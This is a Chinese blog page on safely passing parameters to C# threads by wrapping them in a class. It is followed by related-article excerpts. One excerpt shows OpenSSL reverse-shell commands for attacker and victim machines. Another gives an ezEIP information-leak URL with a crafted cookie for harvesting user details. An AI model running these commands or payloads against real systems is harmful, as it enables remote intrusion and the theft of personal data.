C# 往多线程传递安全参数的方法
在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子:
class Program{static void Main(string[] args){Program obj = new Program();ParameterizedThreadStart PTSD = new ParameterizedThreadStart(obj.DisplayNumbers);Thread t1 = new Thread(PTSD);t1.Start("Hi"); Console.Read();}public void DisplayNumbers(object Max){int Number = Convert.ToInt32(Max);for (int i = 1; i <= Number; i++){Console.WriteLine("Method1 :" + i); } }}
上面的代码在编译的时候是没有问题的,但是运行会报错,因为字符串无法转为整数:

为此要如何避免这种问题呢?
答案是将传递的参数封装到类中
看具体的例子:
假设我想让多线程执行一个函数DisplayInfo,这个函数有两个参数:
public void DisPlayInfo(string Name,int Age){Console.WriteLine($"\t姓名:{Name}\t\n 年龄:{Age}");}
我么可以将参数剥离,并和函数放在同一个类中:
public class PassParametersToThread{public int Age { get; set; }public string Name { get; set; }=string.Empty;public PassParametersToThread(int age,string name){Age = age;Name = name;}public void DisPlayInfo(){Console.WriteLine($"\t姓名:{Name}\t\n 年龄:{Age}");}}
这样,在执行时,我们向多线程传递的是类PassParameter
PassParametersToThread p = new PassParametersToThread(20, "小红");
Thread t1 = new Thread(p.DisPlayInfo);
t1.Start();
sToThread的成员函数,且没有任何参数。
这样就实现了安全的将参数传递到线程中。
下一篇将介绍如何从线程中获取运算结果
相关文章:
C# 往多线程传递安全参数的方法
在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子: class Program{…...
Java之SPI
Java的SPI(Service Provider Interface)是一种面向接口编程的机制,用于实现组件之间的解耦和扩展。通过SPI机制,我们可以定义接口,并允许第三方提供不同的实现,从而实现可插拔、可扩展的架构。 SPI讲解 它…...
【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...
Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...
vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...
软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...
Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...
使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...
竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...
ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...
02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...
电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...
UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...
使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...
Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...
11-网络篇-DNS步骤
1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器:…...
设计师都应该知道的事:极简主义家具该怎么去用
这座房子有黑暗而沉重的特征,包括棕色和白色的马赛克浴室瓷砖,弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远,白色,干净和简约,接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...
设计模式02———建造者模式 c#
首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...
2023最新接口自动化测试面试题
1、get和post的区别? l http是上层请求协议,主要定义了服务端和客户端的交互规格,底层都是tcp/ip协议 l Get会把参数附在url之后,用?分割,&连接不同参数,Get获取资源,post会把…...
推荐靠谱多模型聚合平台生产厂家,技术扎实服务贴心有保障
随着AI大模型应用场景不断拓展,企业对多模型聚合平台的需求持续攀升。行业报告显示,近一年国内企业采购多模型聚合服务的订单量同比增长超60%,如何选择技术扎实、服务贴心的平台生产厂家,成为企业数字化转型的关键决策。一、技术实…...
基于瞬态三角哈里斯鹰算法TTHHO实现多无人机协同集群避障路径规划(目标函数:最低成本:路径、高度、威胁、转角)附Matlab代码
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、程序设计科研仿真。 🍎完整代码获取 定制创新 论文复现点击:Matlab科研工作室 👇 关注我领取海量matlab电子书和数学建模资料 &…...
iPXE脚本编程实战:自动化部署、故障诊断和定制化菜单终极指南
iPXE脚本编程实战:自动化部署、故障诊断和定制化菜单终极指南 【免费下载链接】ipxe iPXE network bootloader 项目地址: https://gitcode.com/gh_mirrors/ip/ipxe iPXE作为领先的开源网络启动引导程序,提供了强大的脚本编程功能,让网…...
Adobe-GenP:告别订阅烦恼,5分钟解锁Adobe全家桶完整功能
Adobe-GenP:告别订阅烦恼,5分钟解锁Adobe全家桶完整功能 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 你是否曾被Adobe Creative Cloud的高…...
网安工具系列python系列【仅供参考】:Python实战:利用fofa API高效搜索网络资产
Python实战:利用fofa API高效搜索网络资产 Python实战:利用fofa API高效搜索网络资产 1. 从零开始:为什么你需要一个自动化的资产搜索工具? 2. 动手前的准备:你的fofa账户和Python环境 2.1 获取你的fofa API凭证 2.2 搭建Python脚本环境 3. 核心代码拆解:一行行理解搜索脚…...
出库篇:仓库里的货往哪去?——WMS出库方式全解析,物流新人必读
仓库里的货往哪去?——WMS出库方式全解析,物流新人必读 摘要:货品有进必有出。上一期我们聊了WMS中货品的四大来源(采购、生产、退货、调拨入库),这一期我们来看看货品是怎么“出”去的——销售出库、采购退…...
瑞萨RA4L1 MCU:低功耗与硬件安全设计解析及开发实战
1. 瑞萨RA4L1深度解析:一颗为低功耗与安全而生的MCU最近瑞萨电子更新了他们的RA系列MCU产品线,推出了RA4L1。作为一线嵌入式开发者,每当有新的MCU发布,我总会习惯性地去扒一扒它的数据手册和应用笔记,看看这颗芯片到底…...
雷达接收机频谱稳定与纯度:核心指标、测试方法与设计实战
1. 项目概述:为什么频谱稳定性和纯度是雷达的“生命线”? 在雷达系统里,我们常把发射功率、天线增益、接收机灵敏度这些指标挂在嘴边,因为它们直接决定了雷达能“看”多远。但今天要聊的“接收机频谱稳定性和纯度”,就…...
告别卡顿!手把手教你配置UE5+Cesium子关卡,打造流畅的大型开放世界
告别卡顿!UE5Cesium子关卡实战:打造流畅的大型开放世界 当你在UE5中构建一个横跨多个城市的开放世界时,是否遇到过这样的场景:镜头拉到高空俯瞰时帧率骤降,或者角色在城市间快速移动时出现明显的加载卡顿?这…...
WorkshopDL完全指南:三步实现跨平台游戏模组下载的终极解决方案
WorkshopDL完全指南:三步实现跨平台游戏模组下载的终极解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在Epic、GOG等非Steam平台购买了游戏…...
